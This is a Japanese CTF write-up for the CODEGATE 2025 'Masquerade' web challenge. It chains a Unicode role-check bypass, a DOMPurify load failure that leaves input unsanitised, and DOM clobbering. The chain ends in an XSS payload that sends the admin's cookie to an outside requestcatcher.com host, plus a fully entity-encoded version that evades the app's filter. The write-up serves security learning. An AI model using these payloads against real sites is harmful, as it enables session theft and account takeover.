はまやんはまやんはまやん

hamayanhamayan's blog

CODEGATE 2025 CTF Quals Writeup

[web] Masquerade

Enjoy Masquerade with many roles!

ソースコード有り。複数の権限ロールを持つアプリで、管理者のcookieXSSで盗むことがゴール。3つ脆弱性があり、それをチェーンさせて解く。

1. 特殊文字を使ったロール制限バイパス

アプリケーションではユーザーが自分のロールを変更できるが、ADMINやINSPECTORといった特権ロールは制限されている。

const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];

function checkRole(role) {
    const regex = /^(ADMIN|INSPECTOR)$/i;
    return regex.test(role);
}

const setRole = (uuid, input) => {
    const user = getUser(uuid);
    
    if (checkRole(input)) return false;
    if (!role_list.includes(input.toUpperCase())) return false;
    
    users.set(uuid, { ...user, role: input.toUpperCase() });
    
    const updated = getUser(uuid);
    
    const payload = { uuid, ...updated }
    
    delete payload.password;
    
    const token = generateToken(payload);
    
    return token;
};

脆弱点はcheckRoleで検証をした後にtoUpperCaseに通されて最終的に処理されている所。つまり、toUpperCaseが使われたときに良い感じに変換されるような文字があれば、それを使ってロール変更ができる。ADMINとINSPECTORの両方にIが含まれているので、以下のようなスクリプトで使える文字を探す。

for(let i=256; i<70000; i++){
    var c = String.fromCharCode(i);
    var input = "adm" + c + "n"
    if (/^(ADMIN|INSPECTOR)$/i.test(input) == false && input.toUpperCase() === "ADMIN") {
        console.log(i)
        console.log(c)
    }
}

動かすと

305 ı
65841 ı

というのが見つかるので、Iの代わりにıというのを使えば、正規表現の検証を回避しながら、toUpperCaseでIが得られる。よって、ADMINになるにはadmın、INSPECTORになるにはınspectorを使えば良い。

2. DOMPurifyの読み込み失敗による脆弱性

admin.jsに攻撃してねというメッセージが書いてある。

// TODO : Testing HTML tag functionality for the "/post".
router.get('/test', (req, res) => {
    res.render('admin/test');
});

テンプレートファイルを見るとなぜか難読化してあり、解除すると以下のように、クエリストリングで受け取った入力を、DOMPurifyを通して表示している。

const urlSearch = new URLSearchParams(location.search);
const title = urlSearch.get('title');
const content = urlSearch.get('content');

if (!title && !content) {
  // error
} 
else {
  try {
    post_title.innerHTML = DOMPurify.sanitize(title);
    post_content.innerHTML = DOMPurify.sanitize(content);
  } catch {
    post_title.innerHTML = title;
    post_content.innerHTML = content;
  }
}

このコードの問題点は、DOMPurifyが例外を発生させた場合に、サニタイズなしで直接HTMLに入力値を反映してしまうこと。では、次はどのように例外を起こすかであるが、これはパスを利用する。

<script src="../js/purify.min.js"></script>

以上のように相対パスでDOMPurifyを読み込んでいるため、/admin/testとするのではなく/admin/test/として表示することで相対パスの階層を1つずらすことができ、DOMPurifyの読み込みを失敗させることができる。よって、/admin/test/?title=<img%20src%20onerror=alert(origin)>というのを試すとアラートが出る。

3. DOM Clobberingを使ったリダイレクト

Admin Botを見ると

await browser.setCookie(...cookies);

const page = await browser.newPage();

await page.goto(`http://localhost:3000/post/${post_id}`, { timeout: 3000, waitUntil: "domcontentloaded" });

await delay(1000);

const button = await page.$('#delete');
await button.click();

await delay(1000);

のように/post/{post_id}にアクセスしてDELETEボタンを押してくれる。ここから、上の/admin/test/にリダイレクトさせる必要がある。/post/{post_id}のテンプレートを見ると以下のようになっている。

<div class="post-content">
    <%- post.content %>
</div>
...
<script nonce="<%= nonce %>">
    <% if (isOwner || isAdmin) { %>
        window.conf = window.conf || {
            deleteUrl: "/post/delete/<%= post.post_id %>"
        };
    <% } else { %>
        window.conf = window.conf || {
            deleteUrl: "/error/role"
        };
    <% } %>

...

    const deleteButton = document.querySelector("#delete");

    deleteButton.addEventListener("click", () => {
        location.href = window.conf.deleteUrl;
    });
</script>

location.href = window.conf.deleteUrlがどう見ても怪しい。しかも、window.conf = window.conf || { deleteUrl: "/post/delete/<%= post.post_id %>" };のように無かったら初期値を使うという感じになっていて、初期値が用意できれば任意のものが差し込めそうになっている。そして、<%- post.content %>でHTMLインジェクションができるという条件から…

DOM Clobberingをする!以下のようなタグを用意することでconf.deleteUrlを悪意あるURLに変更できる。

<iframe name=conf srcdoc="<a id='deleteUrl' href='悪意あるURL'></a>"></iframe>

ペイロードづくり

これで準備はできたので、攻撃ペイロードを作ろう。まずは、/admin/testで実行させるXSS payloadだが、

<img src onerror="window.location.href='https://456dfgklsdafklskor.requestcatcher.com/get?flag='+document.cookie">

これでいく。/admin/testで実行させる場合は

/admin/test/?title=%3Cimg%20src%20onerror%3D%22window%2Elocation%2Ehref%3D%27https%3A%2F%2F456dfgklsdafklskor%2Erequestcatcher%2Ecom%2Fget%3Fflag%3D%27%2Bdocument%2Ecookie%22%3E

こういう感じ。DOM ClobberingでこのURLに遷移させるためには

<iframe name=conf srcdoc="
  <a id='deleteUrl' href='/admin/test/?title=%3Cimg%20src%20onerror%3D%22window%2Elocation%2Ehref%3D%27https%3A%2F%2F456dfgklsdafklskor%2Erequestcatcher%2Ecom%2Fget%3Fflag%3D%27%2Bdocument%2Ecookie%22%3E'></a>
"></iframe>

このようにくるんでやればいい。だが、これだとソースコード中に書かれている

// In the actual code, a SPECIAL filter is prepared for here.
// if (content.match(filterRegex)) return res.status(403).json({ message: "Hacking Detected!" });

という謎検証に引っ掛かるので、srcdocの中身はHTML Entity変換できるんので

<iframe name=conf srcdoc="&#32;&#32;&lt;&#97;&#32;&#105;&#100;&equals;&apos;&#100;&#101;&#108;&#101;&#116;&#101;&#85;&#114;&#108;&apos;&#32;&#104;&#114;&#101;&#102;&equals;&apos;&sol;&#97;&#100;&#109;&#105;&#110;&sol;&#116;&#101;&#115;&#116;&sol;&quest;&#116;&#105;&#116;&#108;&#101;&equals;&percnt;&#51;&#67;&#105;&#109;&#103;&percnt;&#50;&#48;&#115;&#114;&#99;&percnt;&#50;&#48;&#111;&#110;&#101;&#114;&#114;&#111;&#114;&percnt;&#51;&#68;&percnt;&#50;&#50;&#119;&#105;&#110;&#100;&#111;&#119;&percnt;&#50;&#69;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&percnt;&#50;&#69;&#104;&#114;&#101;&#102;&percnt;&#51;&#68;&percnt;&#50;&#55;&#104;&#116;&#116;&#112;&#115;&percnt;&#51;&#65;&percnt;&#50;&#70;&percnt;&#50;&#70;&#52;&#53;&#54;&#100;&#102;&#103;&#107;&#108;&#115;&#100;&#97;&#102;&#107;&#108;&#115;&#107;&#111;&#114;&percnt;&#50;&#69;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#99;&#97;&#116;&#99;&#104;&#101;&#114;&percnt;&#50;&#69;&#99;&#111;&#109;&percnt;&#50;&#70;&#103;&#101;&#116;&percnt;&#51;&#70;&#102;&#108;&#97;&#103;&percnt;&#51;&#68;&percnt;&#50;&#55;&percnt;&#50;&#66;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&percnt;&#50;&#69;&#99;&#111;&#111;&#107;&#105;&#101;&percnt;&#50;&#50;&percnt;&#51;&#69;&apos;&gt;&lt;&sol;&#97;&gt;"></iframe>

のようにすると検証が通った。(/post/{post_id}/admin/testより厳しいCSP制限がかかっているんだが、metaタグでも遷移させることができてしまうので、それを防ぐための謎検証だろう)

攻撃手順

ペイロードも準備できたので、脆弱性を組み合わせて、以下の手順でフラグを取得する。

  1. 特殊文字を使ってロール制限をバイパスし、admınでADMINロールに変更する
  2. ADMIN権限を使って自分に書き込み権限(Write Permission)を付与する
  3. 再度特殊文字を使って、ınspectorでINSPECTORロールに変更する
  4. 上の攻撃ペイロードをポストして、管理者に踏ませる

管理者が踏むと、

  1. DOM Clobberingによりconf.deleteUrl/admin/test/?title=...に変更される
  2. 削除ボタンクリック時にこのURLへリダイレクトする
  3. /admin/test/?title=...ではDOMPurifyが例外を投げるためXSSが発生する
  4. XSSによって<img src onerror="window.location.href='https://456dfgklsdafklskor.requestcatcher.com/get?flag='+document.cookie">が実行される
  5. 管理者のcookieが外部サーバーに送信される

あとは送られてきたjwtトークンをデコードするとフラグが含まれている